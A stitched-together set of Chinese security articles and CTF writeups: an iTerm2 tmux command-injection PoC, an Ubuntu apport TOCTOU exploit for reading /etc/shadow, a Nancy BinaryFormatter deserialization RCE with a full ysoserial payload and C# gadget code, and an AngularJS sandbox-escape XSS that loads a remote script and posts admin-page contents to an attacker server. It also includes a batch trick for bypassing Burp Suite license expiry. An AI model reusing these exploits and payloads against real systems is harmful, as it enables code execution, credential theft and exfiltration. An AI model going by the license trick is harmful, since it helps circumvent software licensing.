- openTabWithTmuxLayout
- updateTmuxTitleMonitor // [漏洞触发]
自此，我们已经可以注入恶意命令到tmux服务端，如下图所示
但是这里存在一个问题，由于tmux server是由我们伪造的，那么即使注入了恶意的tmux命令，也只是把恶意命令返回给自己（即不存在真正的tmux
server去处理它），那么所谓的命令注入又是如何执行的呢？
## 利用
事实上，所有的tmux命令都经由`TmuxGateway`进行处理，所有待处理的命令都会存放在`TmuxGateway`的`commandQueue_`队列中。当某条命令出错时，所有的待处理命令会被神奇的输出在iTerm2里（包括回车），这就造成了命令注入，一个简单的POC如下：
sh-3.2$ printf "\033P1000p%%begin 1337 0 0\n%%end 1337 0 0\n%%CVE-2019-9535\n"
** tmux mode started **
Command Menu
---------------------------- esc Detach cleanly.
X Force-quit tmux mode.
L Toggle logging.
C Run tmux command.
Unrecognized command from tmux. Did your ssh session die? The command was:
sh-3.2$ display-message -p -F .
Detached
sh-3.2$ show-option -g -v status
sh: show-option: command not found
sh-3.2$ list-sessions -F ""
sh: list-sessions: command not found
sh-3.2$ display-message -p "#{version}"
sh: display-message: command not found
sh-3.2$ show-window-options pane-border-format
sh: show-window-options: command not found
sh-3.2$ list-windows -F "#{socket_path}"
sh: list-windows: command not found
sh-3.2$ list-windows -F "#{session_activity}"
sh: list-windows: command not found
sh-3.2$ list-clients -F "#{client_cwd}"
sh: list-clients: command not found
sh-3.2$ show-options -v -g set-titles; show-options -v -g set-titles-string
sh: show-options: command not found
sh: show-options: command not found
sh-3.2$
综上，漏洞的主要利用过程如下：
1. 通过`"\033P1000p%%begin 1337 0 0\n%%end 1337 0 0"`伪装tmux服务端
2. 对iTerm2发出的tmux命令返回合法的结果，其中`show-options -v -g set-titles`返回`on`，`show-options -v -g set-titles-string`返回恶意payload
3. 向iTerm2发出`%session-changed`通知，用于触发`updateTmuxTitleMonitor`，将恶意命令注入`TmuxGateway.commandQueue_`
4. 对iTerm2发出的tmux命令返回非法的结果，触发命令执行
## 参考
[1]. [Critical Security Issue identified in iTerm2 as part of Mozilla Open
Source Audit](https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/)
[2]. [tmux source code](https://github.com/tmux/tmux)
[3]. [Do not send server-controlled values in tmux integration
mode.](https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c)
[4]. [iTerm2: tmux Integration](https://www.iterm2.com/documentation-tmux-integration.html)
[5]. [iTerm2 CVE-2019-9535 分析（待续）](https://nobb.site/2019/10/17/0x52/)
[6]. [[CVE-2019-9535]
Iterm2命令执行的不完整复现](https://mp.weixin.qq.com/s/4KcpS4eNGQ8bL6DTM4K0aQ)
文中有误之处，还请师傅们斧正！ | 社区文章 |
# 利用Ubuntu的错误报告功能实现本地提权（LPE）——Part2
##### 译文声明
本文是翻译文章，文章原作者 github，文章来源：securitylab.github.com
原文地址：<https://securitylab.github.com/research/ubuntu-apport-CVE-2019-7307>
译文仅供参考，具体内容表达以及含义原文为准。
在第二篇文章中，我将重点介绍 CVE-2019-730，apport的TOCTOU漏洞，它允许本地攻击者在错误报告中包含系统上任何文件的内容。
## 漏洞
Apport允许在主目录下放一个名为 `~/.apport-ignore.xml`
的文件。它允许你指定一个可执行程序的自定义列表，但是，如果将`~/.apport-ignore.xml`符号链接替换为一个不属于你的文件(如/etc/shadow)，会发生什么情况呢?处理的代码在[report.py](https://git.launchpad.net/ubuntu/+source/apport/tree/apport/report.py?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n962)第962行：
if not os.access(ifpath, os.R_OK) or os.path.getsize(ifpath) == 0:
# create a document from scratch
dom = xml.dom.getDOMImplementation().createDocument(None, 'apport', None)
else:
try:
dom = xml.dom.minidom.parse(ifpath)
except ExpatError as e:
raise ValueError('%s has invalid format: %s' % (_ignore_file, str(e)))
如上所见，它用`os.access`检查用户是否有权访问文件。如果权限检查通过，则它将调用`xml.dom.minidom.parse`来解析XML。这是“time
of check to time of use”（[TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use)）漏洞的经典示例。如果这个文件在`os.access`检查时是有效的，但是在调用`xml.dom.minidom`之前，我迅速替换其文件的符号链接指向其他文件。则可以欺骗其使用提升的特权来读取我没有权限访问的文件
## apport中取消特权的技巧
你可能想知道为什么`os.access`检查会失败，因为apport是一个root进程。原因是apport在执行过程中分两个阶段取消了特权。
第一阶段发生在
[Apport](https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n455)的455行：
# Partially drop privs to gain proper os.access() checks
drop_privileges(True)
第二阶段发生在
[601行](https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n601)：
# Totally drop privs before writing out the reportfile.
drop_privileges()
“取消部分特权”和“完全取消特权”是什么意思？这与 进程的 真实、有效和保存的用户ID有关：
| RUID(真实用户ID) | EUID(有效用户ID) | EUID(保存的用户ID)
---|---|---|---
root 进程 | 0 | 0 | 0
“partially drop privs”(取消部分特权) | 1001 | 0 | 0
read files safely(安全读取文件) | 1001 | 1001 | 0
“totally drop privs”(完全取消特权) | 1001 | 1001 | 1001
RUID（实际用户id）确定进程的所有者，EUID（有效用户id）确定进程可以读写哪些文件。这表示apport处于“partial drop
privs(取消部分特权)”状态时，它仍然可以读取系统上的任何文件。
要确保apport不会意外地使用root权限来读取或写入文件，正确的方法是首先进入我在表格中命名为“read files
safely(安全读取文件)”的状态。由于保存的用户ID（SUID）仍然是root用户，因此该过程可以暂时进入”read files
safely”(安全读取文件)状态，然后在读取文件完成后恢复为”partially drop privs”(取消部分特权)。注意，向”totally
drop privs”(完全取消特权)的转换是不可逆的。
``os.access`检查是不一样的，因为它使用RUID而不是EUID来检查真实用户是否有权访问文件。这就是为什么存在TOCTOU漏洞的原因，调用`os.access`时，Apport处于”partially
drop
privs”(取消部分特权)状态。也就是说，它将拒绝不属于我的文件，但是如果我可以绕过`os.access`检查，那么后续调用的`xml.dom.minidom.parse`将能够读取任何文件，因为EUID仍然是root。我可以在调用`os.access`之后替换`~/.apport-ignore.xml`的符号链接。
## 与CVE-2019-11481对比
我在[fileutils.py](https://git.launchpad.net/ubuntu/+source/apport/tree/apport/fileutils.py?h=applied/ubuntu/bionic-devel&id=20c98691144e843bf1ab8428603beedd34e993ad#n335)的第335行发现了一个类似的Bug:
def get_config(section, setting, default=None, path=None, bool=False):
'''Return a setting from user configuration.
This is read from ~/.config/apport/settings or path. If bool is True, the
value is interpreted as a boolean.
'''
if not get_config.config:
get_config.config = ConfigParser()
if path:
get_config.config.read(path)
else:
get_config.config.read(os.path.expanduser(_config_file))
这段代码使用root(EUID)打开文件`~/.config/apport/settings`。大概看，由于`os.access`处不存在检查，以为比其他漏洞更容易利用。经过进一步审查，我发现不是，原因在于错误处理的方式不同。例如，如果我想使用这个漏洞来读取`/var/shadow`的内容，它不是一个有效的XML文件，而且它的格式也不正确，不能作为apport文件解析。因此，无论哪种情况，都会在apport中触发一个解析错误。在`~/.config/apport/settings`的情况下，将导致apport立即中止。但是在`~/.apport-ignore.xml`的情况下，格式不正确的文件将被忽略，apport将继续运行。因此，我发现`~/.apport-ignore.xml`更容易利用。
我向Ubuntu报告了`~/.config/apport/settings`漏洞: [bug
1830862](https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1830862)。此问题已修复并分配到[CVE-2019-11481](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11481)。
## 漏洞利用方案
这个漏洞让我可以通过替换`~/.apport-ignore.xml`的符号链接来欺骗apport加载系统上的任何文件。但是，我感兴趣的文件几乎都不会是有效的XML文件，因此它将导致解析错误，而apport将忽略它。这如何让我访问禁止的信息？
这是我巧妙的方案：
主要思路是，即使被禁止的文件将触发解析错误并被忽略，但它仍然会加载到apport的堆中。这意味着如果apport崩溃，那文件的内容也将包含在错误报告中。这是方案中事件的顺序：
1. 1.通过启动`/bin/sleep`来发送使其崩溃`SIGSEGV`。
2. 2.启动Apport，为`/bin/sleep`生成错误报告。
3. 3.在合适的时机替换`~/.apport-ignore.xml`符号链接，让apport将禁止的文件加载到内存中。
4. 4.通过发送一个`SIGSEGV`来造成apport崩溃。
5. 5.启动第二个apport来生成第一个apport崩溃的错误报告。
6. 6.第二个apport为第一个apport创建一个错误报告，其中包含核心转储中禁止的文件副本。
### 阻碍
事情不是那么容易。我遇到了几个问题。比较明显的是，符号链接切换的时机至关重要，所以我预计很难正确做到，但也有一些意想不到的问题，我将在下面的章节中介绍。
Apport有两个缓解机制来防止其自身运行。在apport第30行的评论中注释，这是为了避免“如果发生一系列崩溃将会导致系统瘫痪”。
第一个缓解机制是一个名为`/var/crash/.lock`的文件锁。当apport启动时，它使用lockf在该文件上设置一个锁，以防止另一个apport同时运行。
有趣的是，lockf文件锁只是建议!实际上，正如Victor
Gaydov在这篇优秀的[文章](https://gavv.github.io/articles/file-locks/#posix-record-locks-fcntl%5D)中解释，锁实际上与一个`[i-node,
pid]`相关联。这意味着如果在第一个apport设置了锁之后，用一个新文件替换`/var/crash/.lock`，那么第二个apport将看到一个不同的I节点，因此两个apport就可以同时持有锁`/var/crash/.lock!
用新文件替换/var/crash/.lock的技巧依赖于是否有删除或移动该文件的权限。由于/var/crash目录设置了sticky
(粘滞位)，这表示着必须拥有该文件。幸运的是，/var/crash可以写入，因此只要/var/crash/.lock不存在就可以创建。当我在5月29日第一次向Ubuntu提交漏洞报告时，我认为这会使漏洞无法利用。那是因为在我工作的笔记本电脑上，/var/crash/.lock几乎总是存在并且属于root。后来我发现/var/crash/.lock每天被一个计划任务:/etc/cron.daily/apport删除。锁文件经常存在于我的工作笔记本电脑上，是因为我经常故意让应用程序崩溃。但是在典型的Ubuntu系统上，由于日常计划任务，它不可能在任何给定时间存在。
在我的漏洞报告中，我建议/var/crash/.lock应始终被root拥有，以缓解这种类型的漏洞利用。虽然我自己并不认为它是一个漏洞，但是Sander
Bos提交了一个关于这个问题的漏洞报告。为它分配到CVE-2019-11485，并通过更改锁文件存储的目录来修复。
第二个缓解机制是基于内核中的`RLIMIT_CORE`。`RLIMIT_CORE`是限制core文件（核心转储文件）大小，`RLIMIT_CORE ==
1`用作一个特殊的值，表示该进程是一个错误报告程序，在它崩溃时不应该生成核心转储文件(以防止递归)。在此[评论](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/498525/comments/3)中，我找到了对此缓解机制的解释。
我为`RLIMIT_CORE`缓解机制感到幸运。原来可以使用prlimit修改另一个进程的`RLIMIT_CORE`！当然，需要有合适的权限才能这样做，我发现只要apport进入”totally
drop
privs”(完全取消特权)状态，它就会起作用。不幸的是，不可能使用prlimit来增加`RLIMIT_CORE`的值，但是可以将它降低到0，这就可以利用此漏洞了。
### 信号处理
我方案的一部分是通过发送一个`SIGSEGV`来破坏apport。但这不起作用,因为apport为`SIGSEGV`设置了一个信号处理程序:
def setup_signals():
'''Install a signal handler for all crash-like signals, so that apport is
not called on itself when apport crashed.'''
signal.signal(signal.SIGILL, _log_signal_handler)
signal.signal(signal.SIGABRT, _log_signal_handler)
signal.signal(signal.SIGFPE, _log_signal_handler)
signal.signal(signal.SIGSEGV, _log_signal_handler)
signal.signal(signal.SIGPIPE, _log_signal_handler)
signal.signal(signal.SIGBUS, _log_signal_handler)
这样做的动机是防止对自己进行递归操作。对我来说幸运的是，`setup_signals`设置处理程序的信号列表不够完整。[signal手册](https://manpages.ubuntu.com/manpages/bionic/man7/signal.7.html)的第7页部分有一个名为“Standard
signals”的表。以下是一段摘录:
信号 | 值 | Action | 含义
---|---|---|---
SIGINT | 2 | Term | 键盘中断
SIGQUIT | 3 | Core | 从键盘退出
SIGILL | 4 | Core | 非法指令
… | … | … | …
在“Action”列中包含“Core”的任何信号都将触发一个Core Dump(核心转储)。Apport的信号处理程序列表包括最常见的`core-generating`信号，但它还不够完整，还有好几种可供选择，我的exploit使用了`SIGTRAP`。
## 实施漏洞攻击
我已经在[GitHub](https://github.com/github/security-lab/blob/8a4842917730357bf43d3148fb4fb0b3a7d5b9d6/SecurityExploits/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp)上公布了我的POC(proof-of-concept)的源代码。它主要根据我上面描述的方案执行，但有一些调整来解释上面讨论的阻碍。这是修改后的方案中的事件顺序：
1. 1.启动`/bin/sleep`。
2. 2.创建`/var/crash/.lock`，方便后面可以删除它。
3. 3.使用`SIGINT`(程序终止信号)Kill掉`/bin/sleep`。
4. 4.启动Apport，为`/bin/sleep`生成错误报告。
5. 5.在合适的时机替换`~/.apport-ignore.xml`符号链接，让apport将禁止的文件加载到内存中。
6. 6.用一个新文件替换`/var/crash/.lock`，来绕过文件锁并使第二个apport与第一个apport同时运行。
7. 7.使用prlimit将apport的`RLIMIT_CORE`设置为零。
8. 8.通过发送一个`SIGTRAP`来造成apport崩溃。
9. 9.启动第二个apport来生成第一个apport崩溃的错误报告。
10. 10.第二个apport为第一个apport写出一个错误报告，其中包含核心转储中禁止文件的副本。
接下要讨论的是我如何计算切换符号链接的时间。最初，我认为很难这个程序的漏洞，因为 os.access
对文件的调用与打开之间存在非常短的时间间隔。但是事实证明，如果使用c语言编程，赢得与Python的比赛是非常容易的。在PoC中，发生切换时的关键时机在[第155行](https://github.com/github/security-lab/blob/8a4842917730357bf43d3148fb4fb0b3a7d5b9d6/SecurityExploits/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp#L155)
。我用inotify来计时。通过运行`sudo strace -e file -tt -p <apport
PID>`，我发现一个名为`expatbuilder.cpython-36.pyc`的文件总是在`~/.apport-ignore.xml`解析之前打开。通过观察该文件上的`IN_OPEN`事件，我可以非常精确地设置切换时间。
当我终于能够利用这个漏洞时，我很兴奋地查看了错误报告，并在/var/crash中看到了以下内容：
kev@constellation:~$ ls -al /var/crash/
total 4492
drwxrwsrwt 2 root whoopsie 12288 Nov 5 12:26 .
drwxr-xr-x 17 root root 4096 Jul 17 19:31 ..
-rw-r----- 1 root whoopsie 4583201 Nov 5 12:26 _usr_share_apport_apport.0.crash
该文件属于root，发生了什么？我确信它将属于我，因为我的PoC直到第一个apport进入”totally drop
privs”(完全取消特权)状态后才发送SIGTRAP。当apport进程在崩溃时完全归我所有，所以我应该能够查看错误报告吗?这个问题是由apport如何确定崩溃进程的所有者引起的。这发生在get_pid_info中，通过os.stat运行`/proc/[pid]/stat`。在源代码中分散了一些注释，例如[此处](https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n70)和[此处](https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n171)，对此进行了解释。`/proc/[pid]/stat`即使是在过渡到”totally
drop privs”(完全取消特权)状态之后，apport还是作为root进程启动的，因此归root所有。我还没有找到任何方法来破坏这种保护。
当我查看文件的内容时，这就是我看到的内容：
另一个好消息是该exploit非常短暂和稳定。我以为符号链接切换的时间安排可能会使它不稳定，但是我发现它每次都能完美运行。
因此，一切都不会丢失。尽管错误报告是由root拥有的，但是whoopsie依然可以读取它，这说明，如果我可以在whoopsie守护程序中找到漏洞，我也就可以读取错误报告的内容。 | 社区文章 |
# Nancy
Nancy是一个轻量级web框架，其cookie中NCSRF字段使用binaryformatter进行序列化反序列化，造成rce。本文主要讲解其反序列化漏洞及ToolboxItemContainer攻击链。
# 环境搭建
直接从GitHub下载nancy的demo案例 <https://github.com/NancyFx/Nancy.Demo.Samples>
使用vs打开运行
第一次请求返回cookie
NCSRF=AAEAAAD%2f%2f%2f%2f%2fAQAAAAAAAAAMAgAAAD1OYW5jeSwgVmVyc2lvbj0wLjE2LjEuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAYTmFuY3kuU2VjdXJpdHkuQ3NyZlRva2VuAwAAABw8UmFuZG9tQnl0ZXM%2ba19fQmFja2luZ0ZpZWxkHDxDcmVhdGVkRGF0ZT5rX19CYWNraW5nRmllbGQVPEhtYWM%2ba19fQmFja2luZ0ZpZWxkBwAHAg0CAgAAAAkDAAAASVo2p2wU2YgJBAAAAA8DAAAACgAAAAKiZsnPUc5ZpsU0DwQAAAAgAAAAAovU6IflKN4bOpWdLZCevd6flnf%2f9PrHh5TNnnveth1pCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%3d
url+base64解码之后
发现是使用binaryformatter进行序列化存储cookie。使用ysoserial.net生成payload
PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f binaryformatter -g ToolboxItemContainer -c calc
AAEAAAD/////AQAAAAAAAAAMAgAAAFhTeXN0ZW0uRHJhd2luZy5EZXNpZ24sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhBQEAAAAqU3lzdGVtLkRyYXdpbmcuRGVzaWduLlRvb2xib3hJdGVtQ29udGFpbmVyAgAAABdUYnhJQ19EYXRhT2JqZWN0Rm9ybWF0cxZUYnhJQ19EYXRhT2JqZWN0VmFsdWVzBgUCAAAACQMAAAAJBAAAABEDAAAAAQAAAAYFAAAAIENGX1RPT0xCT1hJVEVNQ09OVEFJTkVSX0NPTlRFTlRTEAQAAAABAAAACQYAAAAFBgAAAEBTeXN0ZW0uRHJhd2luZy5EZXNpZ24uVG9vbGJveEl0ZW1Db250YWluZXIrVG9vbGJveEl0ZW1TZXJpYWxpemVyAgAAAAxBc3NlbWJseU5hbWUGU3RyZWFtAwceU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHlOYW1lAgIAAAAJBwAAAAkIAAAABAcAAAAeU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHlOYW1lDAAAAAVfTmFtZQpfUHVibGljS2V5D19QdWJsaWNLZXlUb2tlbgxfQ3VsdHVyZUluZm8JX0NvZGVCYXNlCF9WZXJzaW9uDl9IYXNoQWxnb3JpdGhtGF9IYXNoQWxnb3JpdGhtRm9yQ29udHJvbBJfU3Ryb25nTmFtZUtleVBhaXIVX1ZlcnNpb25Db21wYXRpYmlsaXR5Bl9GbGFncw9fSGFzaEZvckNvbnRyb2wBBwcAAQMDAwMDAwcCAggOU3lzdGVtLlZlcnNpb241U3lzdGVtLkNvbmZpZ3VyYXRpb24uQXNzZW1ibGllcy5Bc3NlbWJseUhhc2hBbGdvcml0aG01U3lzdGVtLkNvbmZpZ3VyYXRpb24uQXNzZW1ibGllcy5Bc3NlbWJseUhhc2hBbGdvcml0aG0jU3lzdGVtLlJlZmxlY3Rpb24uU3Ryb25nTmFtZUtleVBhaXI8U3lzdGVtLkNvbmZpZ3VyYXRpb24uQXNzZW1ibGllcy5Bc3NlbWJseVZlcnNpb25Db21wYXRpYmlsaXR5I1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZUZsYWdzAgYJAAAACG1zY29ybGliCQoAAAAKfwAAAAYLAAAAQmZpbGU6Ly8vQzovV2luZG93cy9NaWNyb3NvZnQuTkVUL0ZyYW1ld29yay92NC4wLjMwMzE5L21zY29ybGliLmRsbAkMAAAABPP///81U3lzdGVtLkNvbmZpZ3VyYXRpb24uQXNzZW1ibGllcy5Bc3NlbWJseUhhc2hBbGdvcml0aG0BAAAAB3ZhbHVlX18ACASAAAAB8v////P///8AAAAACgTx////PFN5c3RlbS5Db25maWd1cmF0aW9uLkFzc2VtYmxpZXMuQXNzZW1ibHlWZXJzaW9uQ29tcGF0aWJpbGl0eQEAAAAHdmFsdWVfXwAIAQAAAATw////I1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZUZsYWdzAQAAAAd2YWx1ZV9fAAghAAAACg8IAAAAkQMAAAIAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACzBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4LDwoAAAAQAAAAAgAAAAAAAAAABAAAAAAAAAAEDAAAAA5TeXN0ZW0uVmVyc2lvbgQAAAAGX01ham9yBl9NaW5vcgZfQnVpbGQJX1JldmlzaW9uAAAAAAgICAgEAAAAAAAAAAAAAAAAAAAACw==
url编码之后发送弹出计算器
反序列化点位于Nancy.DefaultObjectSerializer.Deserialize()
# ToolboxItemContainer攻击链
yso中用到了两个类
直接来看ToolboxItemSerializer的反序列化构造函数
发现将Stream字段中的byte数组使用binaryformatter进行反序列化，我们可以使用TextFormattingRunProperties填充byte数组，达到rce。自己写payload
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Windows.Data;
using System.Windows.Markup;
namespace NancySerialize
{
class Program
{
static void Main(string[] args)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
byte[] vs;
using (MemoryStream memory = new MemoryStream())
{
binaryFormatter.Serialize(memory, new TextFormattingRunPropertiesMarshal("calc"));
vs = memory.ToArray();
}
ToolboxItemSerializerMarshal toolBox = new ToolboxItemSerializerMarshal(vs);
using (MemoryStream memoryStream = new MemoryStream())
{
binaryFormatter.Serialize(memoryStream, toolBox);
memoryStream.Position = 0;
binaryFormatter.Deserialize(memoryStream);
}
}
}
[Serializable]
public class ToolboxItemSerializerMarshal : ISerializable
{
public ToolboxItemSerializerMarshal(byte[] payload)
{
Payload = payload;
}
private byte[] Payload { get; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(Type.GetType("System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer, System.Drawing.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"));
info.AddValue("AssemblyName", new AssemblyName());
info.AddValue("Stream", Payload);
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
public static string gadget(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
return XamlWriter.Save(odp);
}
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
_xaml = gadget(cmd);
}
public TextFormattingRunPropertiesMarshal()
{
_xaml = gadget("calc");
}
}
}
比yso的要简洁一些。当然这个攻击链限制仍然在于TextFormattingRunProperties
# 后文
可以使用TypeConfuseDelegate替换TextFormattingRunProperties。 | 社区文章 |
今天看到有人求可以爬取目录来爆破文件的帖子，其实猪猪侠之前写过一个，最近把猪猪侠的代码给重写，没有重写全部，主要重写了核心的部分。也是先爬虫然后解析目录，然后开始爆破具体文件，爬虫采用了广搜，可以控制爬虫深度，默认是6
，
加了点简单去重，为了防止伪静态网页，规定了每页只爬20个链接。后面就是具体了解析目录然后去重，如果没有爬取页面，使用一些常见的目录进行爆破，字典还是猪猪侠的字典，如果大家有好的字典或者issue
都可以提交给我。
下面就是地址啦
<https://github.com/aipengjie/sensitivefilescan>
如果觉得不错，star一下吧 | 社区文章 |
第一次发帖，好多东西不懂，望见谅。
burp过期了怎么办？如图
在这里说一个小窍门接着使用burp。
burpsuite的那个破解licensed是通过判断时间来进行的。所以只要在开burp前改一下时间到licensed过期前的时间，burp就能正常使用，所以这里我搞了一个简单的批处理来自动修改时间，然后打开burp，在关闭burp后，自动恢复时间。
代码如下，需要自行修改的地方就是第4行，要改为自己burp的文件路径，其次就是bat需要以管理员的身份运行[code]@echo off
set i=%date:~0,10%
date 2015-12-1
java -jar E:\2-工具包\burpsuite_pro_v1.7.08\burpsuite_pro_v1.7.08.loader.jar
date %i%[/code]使用管理员权限运行bat后，软件正常运行了。又可以快乐的玩耍了 | 社区文章 |
# SCTF 2018 web部分writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
NU1L师傅写的wp有点糙，虽然这个比赛web狗饱受打击，我就抓紧时间复现了下，学到了不少东西.
## Web
### 新的建议板
师傅最近开始学前端 想写个建议板 后来失败了？
登录上题，注册了一个账号，直接查看js模板
直接在前端的min-test.js
angular.module("mintest",["ngRoute"]).controller("IndexController",function($scope,$route)
{$scope.$route=$route}).config(function($routeProvider)
{$routeProvider.when("/admintest2313",
{templateUrl:"view/admintest2313.html",controller:"IndexController"}).when("/home",
{templateUrl:"view/home.html",controller:"IndexController"}).when("/login",
{templateUrl:"view/login.html",controller:"IndexController"}).when("/loginout",
{templateUrl:"view/loginout.html",controller:"IndexController"}).when("/register",
{templateUrl:"view/register.html",controller:"IndexController"}).when("/suggest",
{templateUrl:"view/suggest.html",controller:"IndexController"})});
直接可以到后台路径，尝试访问view/admintest2313.html，查看源代码 可以直接看到后台程序的接口
/api/memos/admintest2313
直接可以在这里看到使用的AngularJS模板，直接查找相应的模板漏洞
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}
然后直接利用xss反弹到自己的服务器上，看看能获取什么
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };window.open("你的ip")//');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob('$.getScript('http://xxxxxxxxxxxxx/xss1.js');'))//');}}
xss.js
$.ajax({
url: "/admin",
type: "GET",
dataType: "text",
success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('http://xxxxxxxxxxxxxxxx', code);
},
error: function(msg) {
}
})
function xssPost(url, postStr) {
var de;
de = document.body.appendChild(document.createElement('iframe'));
de.src = 'about:blank';
de.height = 1;
de.width = 1;
de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
de.contentDocument.forms[0].submit();
de.style.display = 'none';
}
把那一堆base64解密
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- 上述3个meta标签*必须*放在最前面，任何其他内容都*必须*跟随其后！ -->
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="">
<title>SYC</title>
<link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
<link href="css/ie10-viewport-bug-workaround.css" rel="stylesheet">
